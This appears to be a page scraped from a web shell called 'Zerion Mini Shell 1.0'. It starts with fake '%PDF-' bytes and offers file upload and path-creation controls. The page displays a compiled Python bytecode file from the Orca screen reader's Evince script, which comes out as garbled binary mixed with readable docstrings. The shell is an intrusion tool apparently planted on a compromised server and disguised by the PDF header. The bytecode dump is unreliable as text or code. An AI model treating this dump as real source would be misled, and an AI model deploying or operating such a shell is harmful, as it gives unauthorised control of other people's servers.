%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3/dist-packages/orca/scripts/apps/evince/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3/dist-packages/orca/scripts/apps/evince/__pycache__/script.cpython-312.pyc

�

g
fx���dZdZdZdZdZdZddlmZddlmZdd	lm	Z	dd
lm
Z
ddlmZddl
mZdd
lmZGd�dej"�Zy)zCustom script for evince.z$Id$z
$Revision$z$Date$z!Copyright (c) 2013 The Orca Team.�LGPL�)�
focus_manager)�keybindings)�settings)�settings_manager)�gtk)�AXUtilities)�StructuralNavigationc�0�eZdZd�Zd�Zd�Zd�Zd�Zd�Zy)�Scriptc�D�tjj||�y)z�Creates a new script for the given application.

        Arguments:
        - app: the application to create a script for.
        N)rr�__init__)�self�apps  �A/usr/lib/python3/dist-packages/orca/scripts/apps/evince/script.pyrzScript.__init__/s��	�
�
���D�#�&�c��tjj|�|jj	|j
j
d��y)zlDefines InputEventHandler fields for this script that can be
        called by the key and braille bindings.TN)rr�setupInputEventHandlers�inputEventHandlers�update�structuralNavigation�get_handlers)rs rrzScript.setupInputEventHandlers8s;��	�
�
�*�*�4�0����&�&�t�'@�'@�'M�'M�d�'S�Trc��tj�}tj�j	d�}|t
jk(}|jjd|��}|jD]}|j|��|S)z=Returns the application-specific keybindings for this script.�keyboardLayoutT)�refresh�
is_desktop)r�KeyBindingsr�
getManager�
getSettingr�GENERAL_KEYBOARD_LAYOUT_DESKTOPr�get_bindings�keyBindings�add)rr"�layout�	isDesktop�structNavBindings�
keyBindings      r�getAppKeyBindingszScript.getAppKeyBindings?s���"�-�-�/��!�,�,�.�9�9�:J�K���h�F�F�F�	� �5�5�B�B��Y�C�0��+�7�7�	(�J��O�O�J�'�	(��rc�<�|j�}t||d�S)z:Returns the 'structural navigation' class for this script.T)�#getEnabledStructuralNavigationTypesr
)r�typess  r�getStructuralNavigationzScript.getStructuralNavigationNs!���8�8�:��#�D�%��6�6rc��tjtjtjtjtj
tjtjtjtjtjtjtjtjtjg}|S)zXReturns a list of the structural navigation object types
        enabled in this script.)r
�BUTTON�	CHECK_BOX�	COMBO_BOX�ENTRY�
FORM_FIELD�HEADING�LINK�LIST�	LIST_ITEM�	PARAGRAPH�RADIO_BUTTON�TABLE�UNVISITED_LINK�VISITED_LINK)r�enabledTypess  rr*z*Script.getEnabledStructuralNavigationTypesTs���-�3�3�,�6�6�,�6�6�,�2�2�,�7�7�,�4�4�,�1�1�,�1�1�,�6�6�,�6�6�,�9�9�,�2�2�,�;�;�,�9�9�
;���rc���|j}tj|�r/tj�j||jd�tjj||�y)z:Callback for object:text-caret-moved accessibility events.FN)	�sourcer	�
is_focusedrr�set_locus_of_focusrr�onCaretMoved)r�event�objs   rrAzScript.onCaretMovedisN���l�l���!�!�#�&��$�$�&�9�9�%����u�U��
�
����e�,rN)	�__name__�
__module__�__qualname__rrr(r,r*rA�rrrr-s!��'�U�
�7��*-rrN)�__doc__�__id__�__version__�__date__�
__copyright__�__license__�orcarrrr�orca.scripts.toolkitsr�orca.ax_utilitiesr	�orca.structural_navigationr
rrGrr�<module>rRsJ��, �������3�
������!�%�)�;�C-�S�Z�Z�C-r

Zerion Mini Shell 1.0